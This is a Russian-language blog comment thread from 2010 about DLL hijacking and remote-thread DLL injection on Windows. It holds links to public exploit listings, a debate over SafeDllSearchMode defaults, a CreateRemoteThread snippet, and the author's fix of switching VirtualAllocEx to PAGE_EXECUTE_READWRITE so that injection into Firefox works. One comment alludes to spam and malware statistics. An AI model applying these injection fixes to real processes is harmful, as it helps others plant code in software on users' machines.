На какой уязвимости это основано? Не на этой случайно?
http://msdn.microsoft.com/en-us/library/ms682586%28VS.85%29.aspx
Тогда объясните пожалуйста каким образом, произойдет загрузка левой dll, на Winows XP SP2 и выше? Ведь безопасный режим исключает подобное...
[Ответить]
Kaimi:
Август 30th, 2010 at 13:41
Если имеется в виду
То могу сказать, что на 2 копиях XP SP3 лицензионных этот режим по-умолчанию выключен
[Ответить]
MantyCore :
http://inj3ct0r.com/exploits/13898
[Ответить]
Arb :
Интересно...
[Ответить]
о_О :
[QUOTE]То могу сказать, что на 2 копиях XP SP3 лицензионных этот режим по-умолчанию выключен[/QUOTE]
Не могу утверждать, но на двух копиях не лицензионной XP SP3, данный параметр включен по умолчанию, по крайней мере ключ "SafeDllSearchMode" - отсутствует, что собственно и говорит, о том, что данный режим включен.
Так же у меня не получилось запустить ни данный пример (используя Winamp v5.572 и v5.581):
http://www.exploit-db.com/exploits/14789
Ни пример с хабра:
http://habrahabr.ru/company/eset/blog/102549/
PS: Приложения на которых тестировались тестовые dll'ки - ни разу не запускались, да же после перезагрузки...
PSS: Собственно, кто-то из комментирующих смог, запустить тестовые DLL, с параметрами по умолчанию, т.е. не правя никакие реестры?
[Ответить]
Kaimi:
Август 31st, 2010 at 02:38
У меня на ноутбуке этот параметр в реестре тоже отсутствует, но все чудесным образом работает
[Ответить]
ole32 :
Блин, такие темы палишь, а при это шлешь спам на сраный, уже добитый контакт. Ты видел статсы подменщиков, например?
[Ответить]
Kaimi:
Сентябрь 1st, 2010 at 14:54
Я рассылкой спама вообще то не занимаюсь. Множество различных стат видел и что с того?
[Ответить]
ole32 :
То, что при твоих способностях на порядок выгоднее использовать подобные знания, нежели расписывать, как спамить контакт с чужих акков. Но тебе виднее, конечно ;)
[Ответить]
Kaimi:
Сентябрь 1st, 2010 at 18:05
Я их и так использую в процессе учебы
[Ответить]
Chrome~ :
Но вообще из своего лоадера можно подгрузить свою dll к любому процессу? Например, с помощью того же удаленного потока можно заставить uTorrent загрузить нашу dll?
[Ответить]
Kaimi:
Сентябрь 1st, 2010 at 19:48
Почти. Можно
[Ответить]
Нани Друг :
Андеграунд не надоел? Самым крутым IT-шником ты не станешь, всегда найдётся лучше и больше. Может стоит попробовать создать свой перспективный проект?
[Ответить]
Kaimi:
Сентябрь 1st, 2010 at 21:31
В чем тут андеграунд то? Разработка и поддержка проекта - скучнейшее занятие, да и не стремлюсь я стать программистом, так как учусь совершенно в другом направлении, а блог - это всего лишь хобби.
[Ответить]
salamandra :
Вот именно,самое главное что б интересно было,для себя.
[Ответить]
bertolai :
Да...
Каими все время удивляет!
Я вами восхищен.... Мне б такие знания :))))
[Ответить]
Arck :
при выполнении ф-ции
CreateRemoteThread(hProcess, NULL, 0,
(unsigned long (__stdcall *)(void *))p_code, 0, 0, &id);
вылетает FireFox и завершается аварийно , с чем бороться
, все ф-ции API выполняются без ошибок. проверял на GetLastError.
Хотел попросить автора вместе с исходниками выкладывать хотя
бы еще и bat-ники .
Заранее спасибо
[Ответить]
Arck:
Декабрь 18th, 2010 at 19:13
параметры тоже в норме все до единого.
[Ответить]
Kaimi:
Декабрь 18th, 2010 at 19:40
ОС виста или win7? Попробуй замени PAGE_READWRITE на PAGE_EXECUTE_READWRITE в вызове VirtualAllocEx. Какие батники?
[Ответить]
Arck :
спасибо за столь скоры ответ
у меня 7-ка 32-х разрядная
я изменил в
CreateRemoteThread(hProcess, NULL, 0,
(unsigned long (__stdcall *)(void *))p_code, 0, 0, &id);
на
CreateRemoteThread(hProcess, NULL, 0,
(unsigned long (__stdcall *)(void *))p_code, 0, CREATE_SUSPENDED, &id);
и пока молчит , значит , что-то не так в mem.DLL ?
но попробую и ваш вариант
[Ответить]
Arck :
спасибо , помогло , откуда ты узнал ? MSDN ?
[Ответить]
Kaimi:
Декабрь 18th, 2010 at 20:30
Википедия
[Ответить]